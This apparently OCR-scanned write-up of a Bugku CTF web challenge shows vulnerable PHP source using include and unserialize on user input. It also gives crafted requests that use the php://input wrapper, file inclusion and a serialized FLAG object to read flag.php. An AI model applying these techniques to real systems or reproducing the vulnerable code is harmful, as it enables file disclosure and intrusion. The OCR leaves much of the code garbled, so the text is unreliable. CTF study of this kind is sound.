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$user
$ile
$pass

$_GET["txt"];
§ GET["fi1le"];
$_GET ["password”] ;

1f (1sset (fuser)fk (file get conmtents ($user,” r J=="welcome to the bugkuctf”)){
echo "hello admin! <br>":

10 include (§f1le) ; //hint. php

11 lelsei

12 echo “you are not admin | “:

13|}
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@ Load URL | http://120.24.86.145:8006/test1/?txt=php://input
¥ split URL

»  Execute

[ Post data [ ]| Referrer €% OxHEX 3 @%® %URL 3  @&%® BASE6

Post data welcome to the bugkuctf

hello friend!
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Load URL I"hl'l:p:_o‘,ﬂ 20.24.86.145:8006/test1findex.php?xt=phpy//finputifile=hint.php
split URL
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Execute
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B Post data [] Referrer 4% OxHEX X &% %URL ¥ &% BASEG4 3 Insert string to re

Post data (welcome to the bugkuctf

hello friend! | @ iF: http://120.24.86.145:8006/test1/index.php?bt=php://input&file=hint.php ... — O X

MHE WME EENV BEH
hello friend!<br>
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Suser = § GET  txt ™),
$rile = 3 GET{"fiie”];
Svass = 3 GET "password”};

if(isseat (fuser)8f(file get contents(Juser, v’ )==="welcome to the bugkuc:
acho “hello admin!<hr>”:
includa($file)  //Rint. php
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B<?php
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lclass Flag{//flag.php
public $file;

=] public function  tostring() {

; if (isset (Sthis->file)) {
echo fila_get_pontents($this—>file);
echo "<br>";

return ("good"):;
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$txt = § GET["txt"];

$file = $§ GET["file"];
$password = $_GET["password"];

Eif{isset{$txt)&&{fila_get_contents{$txt,'L‘J:::"wflcgm& to the bugkuctf")){
echo "hello friend!<br>";
if (preg_match("/flag/",5$file)) {
echo "ASHEMLTERLES (R flagt™;
exit();
lelse|
include ($file);
Spassword = unserialize ($password);
echo S$password;

{T}

}
lelse|
echo "you are not the number of bugku ! ";
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1 B<?php

2 E class FLAG({

3 public $file;

4

N }
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8 Sa = new FLAG();

9 $a->file="flag.php";
10 $a = serialize($Sa);
11 print x($a);

12
. - 7>
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INT v = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- EMNCODING- HTML- EMCRYPTION- OTHER- XS
% Load URL | http://120.24.86.145:8006/test1/index.php?txt=php://input&file=hint. php&password=0:4:"FLAG":1:{s:4:"file";s:8:*flag.php";}
B split URL
»)  Execute
@ B htpy//120.24.86.145:8006/test1/index.php?tbt=php:/finput&file=hintghp.. = a X , ,
% Bplace] | Insert replacing string
Post data w}t#fﬂ #=E ESNV FHH
hella friend!<br> <fphp
//flag (php_is the best_Ilanguage] 1
| #xbrrgood
hello friend! i--
Juser = § GET "txt "]
good $rile = § GET[ rile"],
Jpass = § GET "password”];
if(isset (fuser)d€(file_get comtentsifuser, 'r’)==="walcoms to the bugiuct
acho “hello admin!<hr>”
inciuda(§fila); //hint. php
[ i
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